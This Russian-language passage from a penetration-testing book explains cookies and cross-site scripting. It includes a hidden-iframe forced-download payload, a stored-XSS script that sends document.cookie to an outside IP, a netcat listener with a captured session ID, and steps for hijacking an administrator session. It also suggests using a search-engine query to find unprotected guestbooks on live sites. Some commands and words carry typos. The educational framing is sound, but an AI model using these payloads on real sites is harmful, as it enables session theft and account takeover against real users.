4 Атаки на веб-приложения
Итак, предположим, что в ходе сбора информации о целевой организации мы обнаружили веб-приложение. На самом деле можно высказаться иначе: будет очень странно, если в ходе сбора информации вы не обнаружите ни одного вебприложения. Так что же это такое? Веб-приложением можно назвать все что угодно, главный принцип — приложение запускается на стороне сервера, а для доступа к нему используется клиент. Это может быть домашняя страничка организации, веб-интерфейс для просмотра корпоративной почты, онлайн-система мониторинга или браузерный чат, все это — веб-приложения.
Популярность таких приложений постоянно растет. И это легко понять — кросс платформенные, многопользовательские, не требующие клиентских вычислительных мощностей и вместе с тем необыкновенно функциональные. Крупные организации обычно держат свои ресурсы на собственных серверах, и, разумеется,
кэтим серверам есть доступ у любого человека. Ведь нет смысла создавать публичную страничку организации, чтобы впоследствии закрыть пользователям доступ
кней. Это и делает их самой популярной мишенью для атак.
Если раньше веб-странички были сверстаны на HTML и представляли собой не что иное, как простой документ, то теперь практически любой сайт является сложным программным продуктом с множеством подключаемых модулей. Программный код выполняется на стороне сервера, а пользователю выдается только результат его работы.
Взлом веб-приложения становится возможным по двум причинам: 1) это программный комплекс, который, как и любой другой, может быть взломан; 2) чем больше программного кода, тем выше вероятность наличия ошибки в нем.
Знакомство с сookie
Взглянем ближе на такую, казалось бы, банальную вещь, как cookie. Важность cookie нельзя преуменьшить, так же как и возможные риски и потери, связанные с возможностью использования их злоумышленниками для своих атак.
68 Глава 4 • Атаки на веб-приложения
Все более-менее большие сайты начинают когда-то пользоваться cookie. Исходя из нынешнего положения вещей, это практически неизбежно. Приведем небольшой пример. Возьмем самый обыкновенный интернет-магазин. Пользователь просматривает каталог товаров и добавляет один из них в корзину. На этой стадии интер- нет-магазин уже создает на его компьютере, без ведома пользователя, cookie-файл. Этот файл будет содержать в себе как минимум информацию о товарах в корзине. Эта необходимость обусловлена тем, что веб-приложению нужно где-то хранить информацию о действиях пользователя. Ведь практически каждый раз, когда покупатель нажимает на какую-либо кнопку на страничке, приложение на стороне сервера запускается заново. И оно должно делать это, имея в распоряжении все данные, предоставленные пользователем в течение данной сессии, а также информацию, сгенерированную самим сервером. Чтобы не тратить ресурсы предприятия, для хранения этого массива информации на стороне клиента создается cookie-файл. В нем может храниться не только информация о товарах, но и данные, необходимые для аутентификации, а также персональные данные и история прошлых сессий.
Структура cookie-файла достаточно проста. Это обычный текстовый файл, в котором данные представлены в формате «параметр = значение». Данные этого файла могут передаваться с использованием SSL-протокола, однако данные из файла, созданного, например сайтом mycorp.org, не могут быть прочитаны другим вебприложением, работающим на другом домене, предположим myisp.net.
Что же можно сделать с этим файлом? Его можно украсть. Для этого очень часто используют XXS, который будет рассмотрен далее. Заменив свой cookie-файл файлом жертвы, можно без проблем работать от ее имени.
Также, проанализировав сам файл, можно попробовать менять значения в нем, пытаясь таким образом получить более высокие привилегии или даже доступ к административной части сайта.
Межсайтовый скриптинг (XSS)
XSS — тип атаки на пользователя, который осуществляется благодаря включению в веб-приложение кода злоумышленника. Чаще всего такому типу атак подвержены приложения, в которых отсутствует проверка введенных пользователем данных. Скажем, при регистрации пользователь может ввести в поле «имя» не только буквы, но и специальные символы, такие как «№» или «*», хотя в имени не может быть специальных символов.
Чаще всего злоумышленники используют JavaScript или Flash, но учитывая разнообразие поддерживаемых браузером технологий, это может быть что угодно. Самыми частыми целями такого типа атак являются: кража cookie-файла пользователя, взаимодействие с передаваемой во время сессии информацией, а также перенаправление пользователя на другой сайт.
Для демонстрации данного метода найдем, используя ранее рассмотренный метод, сайт с гостевой книгой и полем для ввода. Используя запрос в Google наподобие
Межсайтовый скриптинг (XSS) 69
«guestbook intitle:comment», находим минут за пятнадцать форму гостевой книги, где данные во время ввода не проверяются.
Рис. 4.1. Форма ввода без проверки данных
Рис. 4.2. Сообщение, полученное после отправки новой записи в гостевую книгу
70 Глава 4 • Атаки на веб-приложения
Перенаправление браузера. Что же полезного может сделать злоумышленник, кроме как пугать пользователей сайта всплывающими окнами? Например, можно заставить пользователя скачать файл.
Для этого создадим аналогичным способом на сайте невидимую область и вставим туда ссылку на файл.
<iframe SRC="https://download.filezilla-project.org/client/FileZilla_3.22.1_win32-setup_
bundled.exe"
height="100" width="100"></iframe>
Теперь, когда пользователь зайдет на скомпрометированную страницу, браузер автоматически предложит ему скачать указанный файл.
Кража cookie. Как мы говорили ранее, при помощи XSS можно украсть cookieфайл. Для этого нам понадобятся: 1) уязвимая форма; 2) утилита netcat, позволяющая взаимодействовать в интерактивном режиме с любым сетевым сервисом (может выступать как в роли сервера, так и в роли клиента); 3) пользователь, на котором мы все это проверим.
После того как мы нашли сайт, на котором нет проверки введенных данных и который хранит все данные в cookie-файле, подготовим место, куда будет приходить информация от пользователей. Для этого заставим netcat выступить в роли сервера и принимать соединения на порту 80.
nc nlvp 80
Далее создадим скрипт и уже знакомым нам способом загрузим на сайт.
<script>
new Image().src="http://122.18.110.30/any.php?output="+document.cookie; </script>
После того как пользователь зайдет на страничку, сразу же произойдет соединение с заранее подготовленным netcat’ом, и мы получим нужную информацию.
root@kali:~# nc nlvp 80 listening on [any] 80 ...
connect to [122.18.110.30] from (UNKNOWN) [83.165.32.18] 49455 GET /any.php?output=PHPSESSID=316d4647de53486c2c005811065 HTTP/1.1 Accept: */*
Referer: http://127.0.0.1/index.php
...
Теперь у нас есть идентификатор сессии. Можно найти соответствующий cookie и поменять его вручную или же воспользоваться плагином. В данном случае мы используем «Cookies Manager+».
Сохранив изменения и обновив страницу, мы сможем пользоваться данным сайтом с правами администратора. Однако учтите, что, захватив один раз сессию, ею нельзя пользоваться постоянно — только до тех пор, пока пользователь или система ее не закроют.
Межсайтовый скриптинг (XSS) 71
Рис. 4.3. Изменение данных при помощи «Cookies Manager+»
Рис. 4.4. Профиль администратора сайта